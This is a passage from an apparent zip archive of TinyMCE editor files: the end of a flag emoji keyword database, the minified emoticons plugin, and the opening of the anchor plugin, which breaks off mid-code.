    category: "flags"
  },
  mexico: {
    keywords: [ "mx", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf2\ud83c\uddfd",
    fitzpatrick_scale: false,
    category: "flags"
  },
  micronesia: {
    keywords: [ "micronesia,", "federated", "states", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddeb\ud83c\uddf2",
    fitzpatrick_scale: false,
    category: "flags"
  },
  moldova: {
    keywords: [ "moldova,", "republic", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf2\ud83c\udde9",
    fitzpatrick_scale: false,
    category: "flags"
  },
  monaco: {
    keywords: [ "mc", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf2\ud83c\udde8",
    fitzpatrick_scale: false,
    category: "flags"
  },
  mongolia: {
    keywords: [ "mn", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf2\ud83c\uddf3",
    fitzpatrick_scale: false,
    category: "flags"
  },
  montenegro: {
    keywords: [ "me", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf2\ud83c\uddea",
    fitzpatrick_scale: false,
    category: "flags"
  },
  montserrat: {
    keywords: [ "ms", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf2\ud83c\uddf8",
    fitzpatrick_scale: false,
    category: "flags"
  },
  morocco: {
    keywords: [ "ma", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf2\ud83c\udde6",
    fitzpatrick_scale: false,
    category: "flags"
  },
  mozambique: {
    keywords: [ "mz", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf2\ud83c\uddff",
    fitzpatrick_scale: false,
    category: "flags"
  },
  myanmar: {
    keywords: [ "mm", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf2\ud83c\uddf2",
    fitzpatrick_scale: false,
    category: "flags"
  },
  namibia: {
    keywords: [ "na", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf3\ud83c\udde6",
    fitzpatrick_scale: false,
    category: "flags"
  },
  nauru: {
    keywords: [ "nr", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf3\ud83c\uddf7",
    fitzpatrick_scale: false,
    category: "flags"
  },
  nepal: {
    keywords: [ "np", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf3\ud83c\uddf5",
    fitzpatrick_scale: false,
    category: "flags"
  },
  netherlands: {
    keywords: [ "nl", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf3\ud83c\uddf1",
    fitzpatrick_scale: false,
    category: "flags"
  },
  new_caledonia: {
    keywords: [ "new", "caledonia", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf3\ud83c\udde8",
    fitzpatrick_scale: false,
    category: "flags"
  },
  new_zealand: {
    keywords: [ "new", "zealand", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf3\ud83c\uddff",
    fitzpatrick_scale: false,
    category: "flags"
  },
  nicaragua: {
    keywords: [ "ni", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf3\ud83c\uddee",
    fitzpatrick_scale: false,
    category: "flags"
  },
  niger: {
    keywords: [ "ne", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf3\ud83c\uddea",
    fitzpatrick_scale: false,
    category: "flags"
  },
  nigeria: {
    keywords: [ "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf3\ud83c\uddec",
    fitzpatrick_scale: false,
    category: "flags"
  },
  niue: {
    keywords: [ "nu", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf3\ud83c\uddfa",
    fitzpatrick_scale: false,
    category: "flags"
  },
  norfolk_island: {
    keywords: [ "norfolk", "island", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf3\ud83c\uddeb",
    fitzpatrick_scale: false,
    category: "flags"
  },
  northern_mariana_islands: {
    keywords: [ "northern", "mariana", "islands", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf2\ud83c\uddf5",
    fitzpatrick_scale: false,
    category: "flags"
  },
  north_korea: {
    keywords: [ "north", "korea", "nation", "flag", "country", "banner" ],
    char: "\ud83c\uddf0\ud83c\uddf5",
    fitzpatrick_scale: false,
    category: "flags"
  },
  norway: {
    keywords: [ "no", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf3\ud83c\uddf4",
    fitzpatrick_scale: false,
    category: "flags"
  },
  oman: {
    keywords: [ "om_symbol", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf4\ud83c\uddf2",
    fitzpatrick_scale: false,
    category: "flags"
  },
  pakistan: {
    keywords: [ "pk", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf5\ud83c\uddf0",
    fitzpatrick_scale: false,
    category: "flags"
  },
  palau: {
    keywords: [ "pw", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf5\ud83c\uddfc",
    fitzpatrick_scale: false,
    category: "flags"
  },
  palestinian_territories: {
    keywords: [ "palestine", "palestinian", "territories", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf5\ud83c\uddf8",
    fitzpatrick_scale: false,
    category: "flags"
  },
  panama: {
    keywords: [ "pa", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf5\ud83c\udde6",
    fitzpatrick_scale: false,
    category: "flags"
  },
  papua_new_guinea: {
    keywords: [ "papua", "new", "guinea", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf5\ud83c\uddec",
    fitzpatrick_scale: false,
    category: "flags"
  },
  paraguay: {
    keywords: [ "py", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf5\ud83c\uddfe",
    fitzpatrick_scale: false,
    category: "flags"
  },
  peru: {
    keywords: [ "pe", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf5\ud83c\uddea",
    fitzpatrick_scale: false,
    category: "flags"
  },
  philippines: {
    keywords: [ "ph", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf5\ud83c\udded",
    fitzpatrick_scale: false,
    category: "flags"
  },
  pitcairn_islands: {
    keywords: [ "pitcairn", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf5\ud83c\uddf3",
    fitzpatrick_scale: false,
    category: "flags"
  },
  poland: {
    keywords: [ "pl", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf5\ud83c\uddf1",
    fitzpatrick_scale: false,
    category: "flags"
  },
  portugal: {
    keywords: [ "pt", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf5\ud83c\uddf9",
    fitzpatrick_scale: false,
    category: "flags"
  },
  puerto_rico: {
    keywords: [ "puerto", "rico", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf5\ud83c\uddf7",
    fitzpatrick_scale: false,
    category: "flags"
  },
  qatar: {
    keywords: [ "qa", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf6\ud83c\udde6",
    fitzpatrick_scale: false,
    category: "flags"
  },
  reunion: {
    keywords: [ "r\xe9union", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf7\ud83c\uddea",
    fitzpatrick_scale: false,
    category: "flags"
  },
  romania: {
    keywords: [ "ro", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf7\ud83c\uddf4",
    fitzpatrick_scale: false,
    category: "flags"
  },
  ru: {
    keywords: [ "russian", "federation", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf7\ud83c\uddfa",
    fitzpatrick_scale: false,
    category: "flags"
  },
  rwanda: {
    keywords: [ "rw", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf7\ud83c\uddfc",
    fitzpatrick_scale: false,
    category: "flags"
  },
  st_barthelemy: {
    keywords: [ "saint", "barth\xe9lemy", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde7\ud83c\uddf1",
    fitzpatrick_scale: false,
    category: "flags"
  },
  st_helena: {
    keywords: [ "saint", "helena", "ascension", "tristan", "cunha", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf8\ud83c\udded",
    fitzpatrick_scale: false,
    category: "flags"
  },
  st_kitts_nevis: {
    keywords: [ "saint", "kitts", "nevis", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf0\ud83c\uddf3",
    fitzpatrick_scale: false,
    category: "flags"
  },
  st_lucia: {
    keywords: [ "saint", "lucia", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf1\ud83c\udde8",
    fitzpatrick_scale: false,
    category: "flags"
  },
  st_pierre_miquelon: {
    keywords: [ "saint", "pierre", "miquelon", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf5\ud83c\uddf2",
    fitzpatrick_scale: false,
    category: "flags"
  },
  st_vincent_grenadines: {
    keywords: [ "saint", "vincent", "grenadines", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddfb\ud83c\udde8",
    fitzpatrick_scale: false,
    category: "flags"
  },
  samoa: {
    keywords: [ "ws", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddfc\ud83c\uddf8",
    fitzpatrick_scale: false,
    category: "flags"
  },
  san_marino: {
    keywords: [ "san", "marino", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf8\ud83c\uddf2",
    fitzpatrick_scale: false,
    category: "flags"
  },
  sao_tome_principe: {
    keywords: [ "sao", "tome", "principe", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf8\ud83c\uddf9",
    fitzpatrick_scale: false,
    category: "flags"
  },
  saudi_arabia: {
    keywords: [ "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf8\ud83c\udde6",
    fitzpatrick_scale: false,
    category: "flags"
  },
  senegal: {
    keywords: [ "sn", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf8\ud83c\uddf3",
    fitzpatrick_scale: false,
    category: "flags"
  },
  serbia: {
    keywords: [ "rs", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf7\ud83c\uddf8",
    fitzpatrick_scale: false,
    category: "flags"
  },
  seychelles: {
    keywords: [ "sc", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf8\ud83c\udde8",
    fitzpatrick_scale: false,
    category: "flags"
  },
  sierra_leone: {
    keywords: [ "sierra", "leone", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf8\ud83c\uddf1",
    fitzpatrick_scale: false,
    category: "flags"
  },
  singapore: {
    keywords: [ "sg", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf8\ud83c\uddec",
    fitzpatrick_scale: false,
    category: "flags"
  },
  sint_maarten: {
    keywords: [ "sint", "maarten", "dutch", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf8\ud83c\uddfd",
    fitzpatrick_scale: false,
    category: "flags"
  },
  slovakia: {
    keywords: [ "sk", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf8\ud83c\uddf0",
    fitzpatrick_scale: false,
    category: "flags"
  },
  slovenia: {
    keywords: [ "si", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf8\ud83c\uddee",
    fitzpatrick_scale: false,
    category: "flags"
  },
  solomon_islands: {
    keywords: [ "solomon", "islands", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf8\ud83c\udde7",
    fitzpatrick_scale: false,
    category: "flags"
  },
  somalia: {
    keywords: [ "so", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf8\ud83c\uddf4",
    fitzpatrick_scale: false,
    category: "flags"
  },
  south_africa: {
    keywords: [ "south", "africa", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddff\ud83c\udde6",
    fitzpatrick_scale: false,
    category: "flags"
  },
  south_georgia_south_sandwich_islands: {
    keywords: [ "south", "georgia", "sandwich", "islands", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddec\ud83c\uddf8",
    fitzpatrick_scale: false,
    category: "flags"
  },
  kr: {
    keywords: [ "south", "korea", "nation", "flag", "country", "banner" ],
    char: "\ud83c\uddf0\ud83c\uddf7",
    fitzpatrick_scale: false,
    category: "flags"
  },
  south_sudan: {
    keywords: [ "south", "sd", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf8\ud83c\uddf8",
    fitzpatrick_scale: false,
    category: "flags"
  },
  es: {
    keywords: [ "spain", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddea\ud83c\uddf8",
    fitzpatrick_scale: false,
    category: "flags"
  },
  sri_lanka: {
    keywords: [ "sri", "lanka", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf1\ud83c\uddf0",
    fitzpatrick_scale: false,
    category: "flags"
  },
  sudan: {
    keywords: [ "sd", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf8\ud83c\udde9",
    fitzpatrick_scale: false,
    category: "flags"
  },
  suriname: {
    keywords: [ "sr", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf8\ud83c\uddf7",
    fitzpatrick_scale: false,
    category: "flags"
  },
  swaziland: {
    keywords: [ "sz", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf8\ud83c\uddff",
    fitzpatrick_scale: false,
    category: "flags"
  },
  sweden: {
    keywords: [ "se", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf8\ud83c\uddea",
    fitzpatrick_scale: false,
    category: "flags"
  },
  switzerland: {
    keywords: [ "ch", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde8\ud83c\udded",
    fitzpatrick_scale: false,
    category: "flags"
  },
  syria: {
    keywords: [ "syrian", "arab", "republic", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf8\ud83c\uddfe",
    fitzpatrick_scale: false,
    category: "flags"
  },
  taiwan: {
    keywords: [ "tw", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf9\ud83c\uddfc",
    fitzpatrick_scale: false,
    category: "flags"
  },
  tajikistan: {
    keywords: [ "tj", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf9\ud83c\uddef",
    fitzpatrick_scale: false,
    category: "flags"
  },
  tanzania: {
    keywords: [ "tanzania,", "united", "republic", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf9\ud83c\uddff",
    fitzpatrick_scale: false,
    category: "flags"
  },
  thailand: {
    keywords: [ "th", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf9\ud83c\udded",
    fitzpatrick_scale: false,
    category: "flags"
  },
  timor_leste: {
    keywords: [ "timor", "leste", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf9\ud83c\uddf1",
    fitzpatrick_scale: false,
    category: "flags"
  },
  togo: {
    keywords: [ "tg", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf9\ud83c\uddec",
    fitzpatrick_scale: false,
    category: "flags"
  },
  tokelau: {
    keywords: [ "tk", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf9\ud83c\uddf0",
    fitzpatrick_scale: false,
    category: "flags"
  },
  tonga: {
    keywords: [ "to", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf9\ud83c\uddf4",
    fitzpatrick_scale: false,
    category: "flags"
  },
  trinidad_tobago: {
    keywords: [ "trinidad", "tobago", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf9\ud83c\uddf9",
    fitzpatrick_scale: false,
    category: "flags"
  },
  tunisia: {
    keywords: [ "tn", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf9\ud83c\uddf3",
    fitzpatrick_scale: false,
    category: "flags"
  },
  tr: {
    keywords: [ "turkey", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf9\ud83c\uddf7",
    fitzpatrick_scale: false,
    category: "flags"
  },
  turkmenistan: {
    keywords: [ "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf9\ud83c\uddf2",
    fitzpatrick_scale: false,
    category: "flags"
  },
  turks_caicos_islands: {
    keywords: [ "turks", "caicos", "islands", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf9\ud83c\udde8",
    fitzpatrick_scale: false,
    category: "flags"
  },
  tuvalu: {
    keywords: [ "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddf9\ud83c\uddfb",
    fitzpatrick_scale: false,
    category: "flags"
  },
  uganda: {
    keywords: [ "ug", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddfa\ud83c\uddec",
    fitzpatrick_scale: false,
    category: "flags"
  },
  ukraine: {
    keywords: [ "ua", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddfa\ud83c\udde6",
    fitzpatrick_scale: false,
    category: "flags"
  },
  united_arab_emirates: {
    keywords: [ "united", "arab", "emirates", "flag", "nation", "country", "banner" ],
    char: "\ud83c\udde6\ud83c\uddea",
    fitzpatrick_scale: false,
    category: "flags"
  },
  uk: {
    keywords: [ "united", "kingdom", "great", "britain", "northern", "ireland", "flag", "nation", "country", "banner", "british", "UK", "english", "england", "union jack" ],
    char: "\ud83c\uddec\ud83c\udde7",
    fitzpatrick_scale: false,
    category: "flags"
  },
  england: {
    keywords: [ "flag", "english" ],
    char: "\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f",
    fitzpatrick_scale: false,
    category: "flags"
  },
  scotland: {
    keywords: [ "flag", "scottish" ],
    char: "\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc73\udb40\udc63\udb40\udc74\udb40\udc7f",
    fitzpatrick_scale: false,
    category: "flags"
  },
  wales: {
    keywords: [ "flag", "welsh" ],
    char: "\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc77\udb40\udc6c\udb40\udc73\udb40\udc7f",
    fitzpatrick_scale: false,
    category: "flags"
  },
  us: {
    keywords: [ "united", "states", "america", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddfa\ud83c\uddf8",
    fitzpatrick_scale: false,
    category: "flags"
  },
  us_virgin_islands: {
    keywords: [ "virgin", "islands", "us", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddfb\ud83c\uddee",
    fitzpatrick_scale: false,
    category: "flags"
  },
  uruguay: {
    keywords: [ "uy", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddfa\ud83c\uddfe",
    fitzpatrick_scale: false,
    category: "flags"
  },
  uzbekistan: {
    keywords: [ "uz", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddfa\ud83c\uddff",
    fitzpatrick_scale: false,
    category: "flags"
  },
  vanuatu: {
    keywords: [ "vu", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddfb\ud83c\uddfa",
    fitzpatrick_scale: false,
    category: "flags"
  },
  vatican_city: {
    keywords: [ "vatican", "city", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddfb\ud83c\udde6",
    fitzpatrick_scale: false,
    category: "flags"
  },
  venezuela: {
    keywords: [ "ve", "bolivarian", "republic", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddfb\ud83c\uddea",
    fitzpatrick_scale: false,
    category: "flags"
  },
  vietnam: {
    keywords: [ "viet", "nam", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddfb\ud83c\uddf3",
    fitzpatrick_scale: false,
    category: "flags"
  },
  wallis_futuna: {
    keywords: [ "wallis", "futuna", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddfc\ud83c\uddeb",
    fitzpatrick_scale: false,
    category: "flags"
  },
  western_sahara: {
    keywords: [ "western", "sahara", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddea\ud83c\udded",
    fitzpatrick_scale: false,
    category: "flags"
  },
  yemen: {
    keywords: [ "ye", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddfe\ud83c\uddea",
    fitzpatrick_scale: false,
    category: "flags"
  },
  zambia: {
    keywords: [ "zm", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddff\ud83c\uddf2",
    fitzpatrick_scale: false,
    category: "flags"
  },
  zimbabwe: {
    keywords: [ "zw", "flag", "nation", "country", "banner" ],
    char: "\ud83c\uddff\ud83c\uddfc",
    fitzpatrick_scale: false,
    category: "flags"
  },
  united_nations: {
    keywords: [ "un", "flag", "banner" ],
    char: "\ud83c\uddfa\ud83c\uddf3",
    fitzpatrick_scale: false,
    category: "flags"
  },
  pirate_flag: {
    keywords: [ "skull", "crossbones", "flag", "banner" ],
    char: "\ud83c\udff4\u200d\u2620\ufe0f",
    fitzpatrick_scale: false,
    category: "flags"
  }
});PK
h�\
�H���2program/js/tinymce/plugins/emoticons/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function r(){}function i(t){return function(){return t}}function t(t){return t}function n(){return c}var m,e=tinymce.util.Tools.resolve("tinymce.PluginManager"),l=i(!1),a=i(!(m=null)),c={fold:function(t,n){return t()},isSome:l,isNone:a,getOr:t,getOrThunk:o,getOrDie:function(t){throw new Error(t||"error: getOrDie called on none.")},getOrNull:i(null),getOrUndefined:i(void 0),or:t,orThunk:o,map:n,each:r,bind:n,exists:l,forall:a,filter:function(){return c},toArray:function(){return[]},toString:i("none()")};function o(t){return t()}function g(t){var n=t;return{get:function(){return n},set:function(t){n=t}}}function d(t,n){for(var e=k(t),o=0,r=e.length;o<r;o++){var i=e[o];n(t[i],i)}}function h(t,n){return j.call(t,n)}function s(){var t,n,e=(t=r,n=g(O.none()),{clear:function(){o(),n.set(O.none())},isSet:function(){return n.get().isSome()},get:function(){return n.get()},set:function(t){o(),n.set(O.some(t))}});function o(){return n.get().each(t)}return C(C({},e),{on:function(t){return e.get().each(t)}})}function f(t,n){return-1!==t.indexOf(n)}function v(i,r,t){var a=s(),c=s(),f=i.getParam("emoticons_images_url","https://twemoji.maxcdn.com/v/13.0.1/72x72/","string");i.on("init",function(){_.load(t,r).then(function(t){var n,e,o,l,s,r=(n=i.getParam("emoticons_append",{},"object"),e=function(t){return C({keywords:[],category:"user"},t)},A(n,function(t,n){return{k:n,v:e(t)}}));o=w(t,r),l={},s=[],d(o,function(t,n){var e,o,r,i,a,c={title:n,keywords:t.keywords,char:(i=(r=t).char).length>=(a="<img").length&&i.substr(0,0+a.length)===a?r.char.replace(/src="([^"]+)"/,function(t,n){return'src="'+f+n+'"'}):r.char,category:h(e=D,o=t.category)?e[o]:o},u=void 0!==l[c.category]?l[c.category]:[];l[c.category]=u.concat([c]),s.push(c)}),a.set(l),c.set(s)},function(t){console.log("Failed to load emoticons: "+t),a.set({}),c.set([])})});function e(){return c.get().getOr([])}function u(){return a.isSet()&&c.isSet()}return{listCategories:function(){return[P].concat(k(a.get().getOr({})))},hasLoaded:u,waitForLoad:function(){return u()?x.resolve(!0):new x(function(t,n){var e=15,o=T.setInterval(function(){u()?(T.clearInterval(o),t(!0)):--e<0&&(console.log("Could not load emojis from url: "+r),T.clearInterval(o),n(!1))},100)})},listAll:e,listCategory:function(n){return n===P?e():a.get().bind(function(t){return O.from(t[n])}).getOr([])}}}function y(t,n,e){for(var o,r,i=[],a=n.toLowerCase(),c=e.fold(function(){return l},function(n){return function(t){return n<=t}}),u=0;u<t.length&&(0!==n.length&&(o=t[u],r=a,!f(o.title.toLowerCase(),r)&&!function(t){for(var n=0,e=t.length;n<e;n++)if(f(t[n].toLowerCase(),r))return 1}(o.keywords))||(i.push({value:t[u].char,text:t[u].title,icon:t[u].char}),!c(i.length)));u++);return i}function p(o,i){var e,r,t={pattern:"",results:y(i.listAll(),"",O.some(300))},a=g(P),c=(e=function(t){var n,e=(n=t).getData(),o=a.get(),r=y(i.listCategory(o),e[S],o===P?O.some(300):O.none());n.setData({results:r})},r=null,{cancel:u,throttle:function(){for(var t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];u(),r=setTimeout(function(){r=null,e.apply(null,t)},200)}});function u(){m===r||(clearTimeout(r),r=null)}function n(){return{title:"Emoticons",size:"normal",body:{type:"tabpanel",tabs:function(t){for(var n=t.length,e=new Array(n),o=0;o<n;o++){var r=t[o];e[o]={title:r,name:r,items:[l,s]}}return e}(i.listCategories())},initialData:t,onTabChange:function(t,n){a.set(n.newTabName),c.throttle(t)},onChange:c.throttle,onAction:function(t,n){var e;"results"===n.name&&(e=n.value,o.insertContent(e),t.close())},buttons:[{type:"cancel",text:"Close",primary:!0}]}}var l={label:"Search",type:"input",name:S},s={type:"collection",name:"results"},f=o.windowManager.open(n());f.focus(S),i.hasLoaded()||(f.block("Loading emoticons..."),i.waitForLoad().then(function(){f.redial(n()),c.throttle(f),f.focus(S),f.unblock()}).catch(function(t){f.redial({title:"Emoticons",body:{type:"panel",items:[{type:"alertbanner",level:"error",icon:"warning",text:"<p>Could not load emoticons</p>"}]},buttons:[{type:"cancel",text:"Close",primary:!0}],initialData:{pattern:"",results:[]}}),f.focus(S),f.unblock()}))}function b(t){t.on("PreInit",function(){t.parser.addAttributeFilter("data-emoticon",function(t){!function(t){for(var n,e=0,o=t.length;e<o;e++)(n=t[e]).attr("data-mce-resize","false"),n.attr("data-mce-placeholder","1")}(t)})})}function w(){for(var t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];if(0===t.length)throw new Error("Can't merge zero objects");for(var e={},o=0;o<t.length;o++){var r,i=t[o];for(r in i)h(i,r)&&(e[r]=(e[r],i[r]))}return e}var u=function(e){function t(){return r}function n(t){return t(e)}var o=i(e),r={fold:function(t,n){return n(e)},isSome:a,isNone:l,getOr:o,getOrThunk:o,getOrDie:o,getOrNull:o,getOrUndefined:o,or:t,orThunk:t,map:function(t){return u(t(e))},each:function(t){t(e)},bind:n,exists:n,forall:n,filter:function(t){return t(e)?r:c},toArray:function(){return[e]},toString:function(){return"some("+e+")"}};return r},O={some:u,none:n,from:function(t){return null==t?c:u(t)}},C=function(){return(C=Object.assign||function(t){for(var n,e=1,o=arguments.length;e<o;e++)for(var r in n=arguments[e])Object.prototype.hasOwnProperty.call(n,r)&&(t[r]=n[r]);return t}).apply(this,arguments)},k=Object.keys,j=Object.hasOwnProperty,A=function(t,o){var r={};return d(t,function(t,n){var e=o(t,n);r[e.k]=e.v}),r},_=tinymce.util.Tools.resolve("tinymce.Resource"),T=tinymce.util.Tools.resolve("tinymce.util.Delay"),x=tinymce.util.Tools.resolve("tinymce.util.Promise"),P="All",D={symbols:"Symbols",people:"People",animals_and_nature:"Animals and Nature",food_and_drink:"Food and Drink",activity:"Activity",travel_and_places:"Travel and Places",objects:"Objects",flags:"Flags",user:"User Defined"},S="pattern";e.add("emoticons",function(t,n){var e,o,r,i,a,c,u,l,s=(o=n,r=(e=t).getParam("emoticons_database","emojis","string"),e.getParam("emoticons_database_url",o+"/js/"+r+e.suffix+".js","string")),f=t.getParam("emoticons_database_id","tinymce.plugins.emoticons","string"),m=v(t,s,f);function g(){return c.execCommand("mceEmoticons")}a=m,(i=t).addCommand("mceEmoticons",function(){return p(i,a)}),(c=t).ui.registry.addButton("emoticons",{tooltip:"Emoticons",icon:"emoji",onAction:g}),c.ui.registry.addMenuItem("emoticons",{text:"Emoticons...",icon:"emoji",onAction:g}),l=m,(u=t).ui.registry.addAutocompleter("emoticons",{ch:":",columns:"auto",minChars:2,fetch:function(t,n){return l.waitForLoad().then(function(){return y(l.listAll(),t,O.some(n))})},onAction:function(t,n,e){u.selection.setRng(n),u.insertContent(e),t.hide()}}),b(t)})}();PK
h�\��ܘ
�
/program/js/tinymce/plugins/anchor/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function a(e){return e.getAttribute("id")||e.getAttribute("name")||""}function c(e){return e&&"a"===e.nodeName.toLowerCase()&&!e.getAttribute("href")&&""!==a(e)}function d(e){return e.dom.getParent(e.selection.getStart(),l)}function r(e,t){var o,a,n,r,i,l=d(e);l?(n=e,r=t,(i=l).removeAttribute("name"),i.id=r,n.addVisual(),n.undoManager.add()):(a=t,(o=e).undoManager.transact(function(){var e,n;o.getParam("allow_html_in_named_anchor",!1,"boolean")||o.selection.collapse(!0),o.selection.isCollapsed()?o.insertContent(o.dom.createHTML("a",{id:a})):(n=(e=o).dom,u(n).walk(e.selection.getRng(),function(e){s.each(e,function(e){var t;c(t=e)&&!t.firstChild&&n.remove(e,!1)})}),o.formatter.remove("namedAnchor",null,null,!0),o.formatter.apply("namedAnchor",{value:a}),o.addVisual())})),e.focus()}function i(r){return function(e){for(var t,n=0;n<e.length;n++){var o=e[n],a=void 0;!(a=t=o)||a.attr("href")||!a.attr("id")&&!a.attr("name")||t.firstChild||o.attr("contenteditable",r)}}}var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),u=tinymce.util.Tools.resolve("tinymce.dom.RangeUtils"),s=tinymce.util.Tools.resolve("tinymce.util.Tools"),l="a:not([href])";e.add("anchor",function(e){var t,n,o;(t=e).on("PreInit",function(){t.parser.addNodeFilter("a",i("false")),t.serializer.addNodeFilter("a",i(null))}),(n=e).addCommand("mceAnchor",function(){var o,e,t;t=(e=d(o=n))?a(e):"",o.windowManager.open({title:"Anchor",size:"normal",body:{type:"panel",items:[{name:"id",type:"input",label:"ID",placeholder:"example"}]},buttons:[{type:"cancel",name:"cancel",text:"Cancel"},{type:"submit",name:"save",text:"Save",primary:!0}],initialData:{id:t},onSubmit:function(e){var t=o,n=e.getData().id;(/^[A-Za-z][A-Za-z0-9\-:._]*$/.test(n)?(r(t,n),0):(t.windowManager.alert("Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores."),1))||e.close()}})}),(o=e).ui.registry.addToggleButton("anchor",{icon:"bookmark",tooltip:"Anchor",onAction:function(){return o.execCommand("mceAnchor")},onSetup:function(e){return 